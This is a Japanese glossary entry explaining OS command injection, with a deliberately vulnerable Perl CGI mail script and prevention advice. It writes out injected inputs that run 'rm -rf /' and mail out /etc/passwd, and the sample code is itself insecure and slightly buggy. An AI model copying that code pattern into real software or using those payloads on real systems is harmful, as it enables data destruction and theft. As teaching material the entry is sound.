OSコマンドインジェクション攻撃
読み:オウエス-コマンド-インジェクションこうげき
外語:OS command injection attack
インジェクション攻撃の一つ。
概要
パラメーターにOSコマンドを挿入し、プログラムに意図しないコマンドを実行させることを狙った攻撃。
root権限奪取の足がかりになる、極めて危険な攻撃である。
この攻撃を受けてしまうようなセキュリティホールは、絶対に発生させてはならない。
実際の例
サンプルソースコード(Perl)
CGIプログラムで、メールアドレスの登録者に自動で返信する処理を想定する。
#!/usr/bin/perl
use strict;
use CGI;
my $cgi = new CGI;
my $mail = $cgi->param('mail')
my $fp;
open(fp, "|/usr/lib/sendmail $mail");
print fp "Subject: Registration of mail address\n";
print fp "From: regist@example.com\n\n";
print fp "登録ありがとうございます。\n";
close($fp);
この例では、Webのフォームなどから呼ばれ、利用者が入力したメールアドレスがCGIパラメーターmailの値となることとする。
もしメールアドレスに「nurupo@example.jp」と入力された場合、上のプログラムでは次のような文字列を作り、シェルに渡され実行される。
/usr/lib/sendmail nurupo@example.jp
恐らくこれが、本来想定された動作だろう。しかしもし、悪意ある利用者が「nurupo@example.jp; rm -rf /」と入力した場合、どうなるであろうか。この場合、次のコマンドが実行されてしまう。
/usr/lib/sendmail nurupo@example.jp; rm -rf /
「;」は複数のコマンドを区切る文字で、シェルはこの文字を境に、順次左から実行してゆく。つまり、メールを送った後、「rm -rf /」が実行される。
rm -rf /とは、そのコンピューター内の全ファイルを消せ、という命令である。これが実際に実行されてしまえば、そのコンピューターが再起不能になるであろうことは、想像に難くない。
また破壊攻撃でなくても、「nurupo@example.jp ; mail nurupo@example.jp < /etc/passwd」のようなことをされる可能性もある。この場合、そのサーバー内にあるファイルが外部に流出することになる。
攻撃の防止方法
Webアプリケーションの原則として、安易にOSコマンドを呼び出すようなプログラムを書いてはならない。
OSコマンドを呼ぶ必要性は現実には極めて限定的であろうし、もしその場合は深刻な脆弱性を生む可能性が高いため、処理を書くときには充分な注意が必要である。
また、入力データが汚染されている可能性があるため、サニタイジングを実施することも忘れてはならない。つまり、入力のチェックは、念入りに行なう必要がある、ということである。
再検索